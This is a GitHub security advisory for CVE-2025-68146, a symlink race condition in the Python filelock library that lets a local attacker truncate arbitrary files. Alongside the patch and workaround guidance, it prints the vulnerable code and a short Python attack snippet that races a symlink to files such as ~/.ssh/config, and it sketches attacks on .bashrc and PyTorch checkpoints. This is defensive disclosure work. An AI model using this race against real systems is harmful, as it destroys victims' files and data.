CVE-2025-68146 - GitHub Advisory Database (original) (raw)

Impact

A Time-of-Check-Time-of-Use (TOCTOU) race condition allows local attackers to corrupt or truncate arbitrary user files through symlink attacks. The vulnerability exists in both Unix and Windows lock file creation where filelock checks if a file exists before opening it with O_TRUNC. An attacker can create a symlink pointing to a victim file in the time gap between the check and open, causing os.open() to follow the symlink and truncate the target file.

Who is impacted:

All users of filelock on Unix, Linux, macOS, and Windows systems. The vulnerability cascades to dependent libraries:

Attack requires local filesystem access and ability to create symlinks (standard user permissions on Unix; Developer Mode on Windows 10+). Exploitation succeeds within 1-3 attempts when lock file paths are predictable.

Patches

Fixed in version 3.20.1.

Unix/Linux/macOS fix: Added O_NOFOLLOW flag to os.open() in UnixFileLock._acquire() to prevent symlink following.

Windows fix: Added GetFileAttributesW API check to detect reparse points (symlinks/junctions) before opening files in WindowsFileLock._acquire().

Users should upgrade to filelock 3.20.1 or later immediately.

Workarounds

If immediate upgrade is not possible:

  1. Use SoftFileLock instead of UnixFileLock/WindowsFileLock (note: different locking semantics, may not be suitable for all use cases)
  2. Ensure lock file directories have restrictive permissions (chmod 0700) to prevent untrusted users from creating symlinks
  3. Monitor lock file directories for suspicious symlinks before running trusted applications

Warning: These workarounds provide only partial mitigation. The race condition remains exploitable. Upgrading to version 3.20.1 is strongly recommended.

Technical Details: How the Exploit Works

The Vulnerable Code Pattern

Unix/Linux/macOS (src/filelock/_unix.py:39-44):

def _acquire(self) -> None: ensure_directory_exists(self.lock_file) open_flags = os.O_RDWR | os.O_TRUNC # (1) Prepare to truncate if not Path(self.lock_file).exists(): # (2) CHECK: Does file exist? open_flags |= os.O_CREAT fd = os.open(self.lock_file, open_flags, ...) # (3) USE: Open and truncate

Windows (src/filelock/_windows.py:19-28):

def _acquire(self) -> None: raise_on_not_writable_file(self.lock_file) # (1) Check writability ensure_directory_exists(self.lock_file) flags = os.O_RDWR | os.O_CREAT | os.O_TRUNC # (2) Prepare to truncate fd = os.open(self.lock_file, flags, ...) # (3) Open and truncate

The Race Window

The vulnerability exists in the gap between operations:

Unix variant:

Time    Victim Thread                          Attacker Thread
----    -------------                          ---------------
T0      Check: lock_file exists? → False
T1                                             ↓ RACE WINDOW
T2                                             Create symlink: lock → victim_file
T3      Open lock_file with O_TRUNC
        → Follows symlink
        → Opens victim_file
        → Truncates victim_file to 0 bytes! ☠️

Windows variant:

Time    Victim Thread                          Attacker Thread
----    -------------                          ---------------
T0      Check: lock_file writable?
T1                                             ↓ RACE WINDOW
T2                                             Create symlink: lock → victim_file
T3      Open lock_file with O_TRUNC
        → Follows symlink/junction
        → Opens victim_file
        → Truncates victim_file to 0 bytes! ☠️

Step-by-Step Attack Flow

1. Attacker Setup:

Attacker identifies target application using filelock

lock_path = "/tmp/myapp.lock" # Predictable lock path victim_file = "/home/victim/.ssh/config" # High-value target

2. Attacker Creates Race Condition:

import os import threading

def attacker_thread(): # Remove any existing lock file try: os.unlink(lock_path) except FileNotFoundError: pass

# Create symlink pointing to victim file
os.symlink(victim_file, lock_path)
print(f"[Attacker] Created: {lock_path} → {victim_file}")

Launch attack

threading.Thread(target=attacker_thread).start()

3. Victim Application Runs:

from filelock import UnixFileLock

Normal application code

lock = UnixFileLock("/tmp/myapp.lock") lock.acquire() # ← VULNERABILITY TRIGGERED HERE

At this point, /home/victim/.ssh/config is now 0 bytes!

4. What Happens Inside os.open():

On Unix systems, when os.open() is called:

// Linux kernel behavior (simplified) int open(const char *pathname, int flags) { struct file *f = path_lookup(pathname); // Resolves symlinks by default!

if (flags & O_TRUNC) {
    truncate_file(f);  // ← Truncates the TARGET of the symlink
}

return file_descriptor;

}

Without O_NOFOLLOW flag, the kernel follows the symlink and truncates the target file.

Why the Attack Succeeds Reliably

Timing Characteristics:

Success factors:

  1. Tight loop: Running attack in a loop hits the race window within 1-3 attempts
  2. CPU scheduling: Modern OS thread schedulers frequently context-switch during I/O operations
  3. No synchronization: No atomic file creation prevents the race
  4. Symlink speed: Creating symlinks is extremely fast (metadata-only operation)

Real-World Attack Scenarios

Scenario 1: virtualenv Exploitation

Victim runs: python -m venv /tmp/myenv

Attacker racing to create:

os.symlink("/home/victim/.bashrc", "/tmp/myenv/pyvenv.cfg")

Result: /home/victim/.bashrc overwritten with:

home = /usr/bin/python3

include-system-site-packages = false

version = 3.11.2

← Original .bashrc contents LOST + virtualenv metadata LEAKED to attacker

Scenario 2: PyTorch Cache Poisoning

Victim runs: import torch

PyTorch checks CPU capabilities, uses filelock on cache

Attacker racing to create:

os.symlink("/home/victim/.torch/compiled_model.pt", "/home/victim/.cache/torch/cpu_isa_check.lock")

Result: Trained ML model checkpoint truncated to 0 bytes

Impact: Weeks of training lost, ML pipeline DoS

Why Standard Defenses Don't Help

File permissions don't prevent this:

Directory permissions help but aren't always feasible:

File locking doesn't prevent this:

Exploitation Proof-of-Concept Results

From empirical testing with the provided PoCs:

Simple Direct Attack (filelock_simple_poc.py):

virtualenv Attack (weaponized_virtualenv.py):

PyTorch Attack (weaponized_pytorch.py):

Discovered and reported by: George Tsigourakos (@tsigouris007)

References